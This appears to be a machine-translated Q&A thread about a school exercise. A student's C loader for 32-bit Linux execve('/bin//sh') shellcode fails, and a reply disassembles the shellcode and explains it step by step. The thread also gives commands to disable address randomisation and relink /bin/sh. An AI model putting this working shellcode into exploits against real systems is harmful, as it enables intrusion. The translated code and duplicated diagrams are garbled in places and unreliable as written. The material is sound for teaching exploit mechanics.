Assembly 带内联装配的发射外壳

Assembly 带内联装配的发射外壳,assembly,buffer-overflow,shellcode,stack-smash,Assembly,Buffer Overflow,Shellcode,Stack Smash,我正在做一项学校作业,我完全被难倒了。教授和助教没有任何帮助,因为他们向任何学生提供的每个答案都是“继续寻找,答案就在那里”的变体。我试图使用以下代码创建一个shell: #include <stdio.h> #include <stdlib.h> const char code[] = "\x31\xc0" "\x50" "\x68""//sh" "\x68""/bin" "\x89\xe3" "\x50" "\x53" "\x89\xe1" "\x99" "\xb0

我正在做一项学校作业,我完全被难倒了。教授和助教没有任何帮助,因为他们向任何学生提供的每个答案都是“继续寻找,答案就在那里”的变体。我试图使用以下代码创建一个shell:

#include <stdio.h>
#include <stdlib.h>

const char code[] =
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;

int main(int argc, char **argv)
{
printf("running...\n");

char buf[sizeof(code)];
strcpy(buf, code);
((void(*)( ))buf)( );
}
#包括
#包括
常量字符代码[]=
“\x31\xc0”
“\x50”
“\x68”“/sh”
“\x68”“/bin”
“\x89\xe3”
“\x50”
“\x53”
“\x89\xe1”
“\x99”
“\xb0\x0b”
“\xcd\x80”
;
int main(int argc,字符**argv)
{
printf(“正在运行…\n”);
char buf[尺寸(代码)];
strcpy(buf,代码);
((无效(*)buf)();
}
我试图用一些其他在线示例(包括本网站)以及教授提供的附加pdf中的示例替换
code[]
。这些都没有用。我使用gdb进行反汇编,并试图构建自己的
code[]
,但也失败了。值得一提的是,在普通用户中,我的应用程序在
((void(*)()buf)()上出现故障行,并在同一行的根用户中退出(无SEGFULT通知)

我不知道还有什么地方可以完成这个任务,在我理解这个简单的第一步之前,我无法完成任何后续的缓冲区溢出任务。任何帮助都将不胜感激

编辑:我忘了提到,我已经在OSX 10.8.2和通过VirtualBox的Ubuntu虚拟机上尝试过了。我想它在OSX上不会起作用,但我绝望了。ha对于Ubuntu,我们被要求做:

sudo#sysctl-w kernel.randomize_va_space=0

sudo-apt-get-install-zsh cd/bin sudo rm sh sudo ln-s/bin/zsh/bin/sh


这些命令应该禁用地址空间随机化,安装zsh并将其链接到/bin/sh。我在VM中完成了所有这些任务,没有出现错误

您的代码反汇编为如下内容:

00000000  31C0              xor eax,eax
00000002  50                push eax
00000003  682F2F7368        push dword 0x68732f2f
00000008  682F62696E        push dword 0x6e69622f
0000000D  89E3              mov ebx,esp
0000000F  50                push eax
00000010  53                push ebx
00000011  89E1              mov ecx,esp
00000013  99                cdq
00000014  B00B              mov al,0xb
00000016  CD80              int 0x80
       +----------+
     0 | 00000000 |
    -4 | 68732f2f |
    -8 | 6e69622f |
esp -12| xxxxxxxx |
       +----------+
           +----------+
         0 | 00000000 |
        -4 | 68732f2f |
        -8 | 6e69622f |
    ebx -12| 00000000 |
        -16| (ebxVal) |
ecx esp -20| xxxxxxxx |
           +----------+
由NDISAM提供。让我们一步一步地阅读这些说明,并在途中分析堆栈框架

xor eax,eax
eax
寄存器归零,因为操作数自身的异或操作将始终产生零结果
push eax
然后将值推送到堆栈上。因此,堆栈当前看起来或多或少是这样的(相对于代码开头的
esp
值显示的偏移量,
esp
表示
esp
当前指向的堆栈单元格):

接下来,我们有两个
push dword
指令,它们将一些立即值推送到堆栈中,在执行它们之后,看起来如下所示:

00000000  31C0              xor eax,eax
00000002  50                push eax
00000003  682F2F7368        push dword 0x68732f2f
00000008  682F62696E        push dword 0x6e69622f
0000000D  89E3              mov ebx,esp
0000000F  50                push eax
00000010  53                push ebx
00000011  89E1              mov ecx,esp
00000013  99                cdq
00000014  B00B              mov al,0xb
00000016  CD80              int 0x80
       +----------+
     0 | 00000000 |
    -4 | 68732f2f |
    -8 | 6e69622f |
esp -12| xxxxxxxx |
       +----------+
           +----------+
         0 | 00000000 |
        -4 | 68732f2f |
        -8 | 6e69622f |
    ebx -12| 00000000 |
        -16| (ebxVal) |
ecx esp -20| xxxxxxxx |
           +----------+
esp
当前指向推送到堆栈的第二个立即数值的最后一个字节。让我们尝试将推送的值解释为ASCII,如果我们从当前值
esp
开始按顺序从堆栈中读取它们。我们得到
2f62696e2f2f7368
的字节序列,它在ASCII中等于
/bin//sh
。另外,序列以0结尾,因此它是有效的C字符串

这是
esp
的当前值保存到寄存器
ebx
中的主要原因。它包含将要运行的可执行文件的路径。双斜杠对操作系统来说不是问题,因为POSIX只会忽略多次出现的斜杠,并将其视为一个斜杠

接下来,我们将
eax
ebx
的当前值推送到堆栈中。我们知道,
eax
包含零,
ebx
包含指向C字符串
“/bin//sh”
的指针。堆栈当前看起来如下所示:

00000000  31C0              xor eax,eax
00000002  50                push eax
00000003  682F2F7368        push dword 0x68732f2f
00000008  682F62696E        push dword 0x6e69622f
0000000D  89E3              mov ebx,esp
0000000F  50                push eax
00000010  53                push ebx
00000011  89E1              mov ecx,esp
00000013  99                cdq
00000014  B00B              mov al,0xb
00000016  CD80              int 0x80
       +----------+
     0 | 00000000 |
    -4 | 68732f2f |
    -8 | 6e69622f |
esp -12| xxxxxxxx |
       +----------+
           +----------+
         0 | 00000000 |
        -4 | 68732f2f |
        -8 | 6e69622f |
    ebx -12| 00000000 |
        -16| (ebxVal) |
ecx esp -20| xxxxxxxx |
           +----------+
将寄存器的值推送到堆栈后,指向
esp
的当前指针保存在
ecx

cdq
是一条在这种情况下执行非常巧妙的指令:它将
eax
的当前值扩展到
edx:eax
寄存器对中。因此,在这种情况下,它会将
edx
中的值置零,因为零的符号扩展是零。当然,我们可以使用
xor-edx,edx
清除
edx
中的值,但该指令用两个字节编码,而
cdq
只占用一个字节

下一条指令将值
0xb
(11)放入
eax
的低字节寄存器。与前一种情况类似,我们可以只执行
mov eax,0xb
,但这将导致5字节指令,因为立即数必须编码为完整的32位值

int 0x80
在Linux上调用系统调用调用程序。它需要
eax
中的系统调用数(现在等于
0xb
,因此将调用
sys\u execve
函数),以及
ebx
ecx
edx
esi
edi
ebp
中的附加参数

现在,让我们看看该系统调用的原型:

int execve(const char *filename, char *const argv[], char *const envp[]);
因此,
filename
参数位于
ebx
——它指向
/bin//sh
argv
位于
ecx
中,是要执行的可执行文件的参数数组,必须以
NULL
值终止。在英特尔体系结构上,
NULL
等于
0
,而
ecx
正好指向:指向
/bin//sh
的指针,然后是
NULL
envp
,即
NULL
,指向一个环境值数组,该数组必须以
key=value
的形式表示为
char*

成功执行
execve
将导致当前进程映像替换为指向的可执行文件的映像,并使用提供的参数执行。在这种情况下,将使用参数
/bin//sh
执行
/bin/sh
(如果存在)

Michael可能正确地解释了为什么这不起作用:最近的Linux内核将数据页标记为非可执行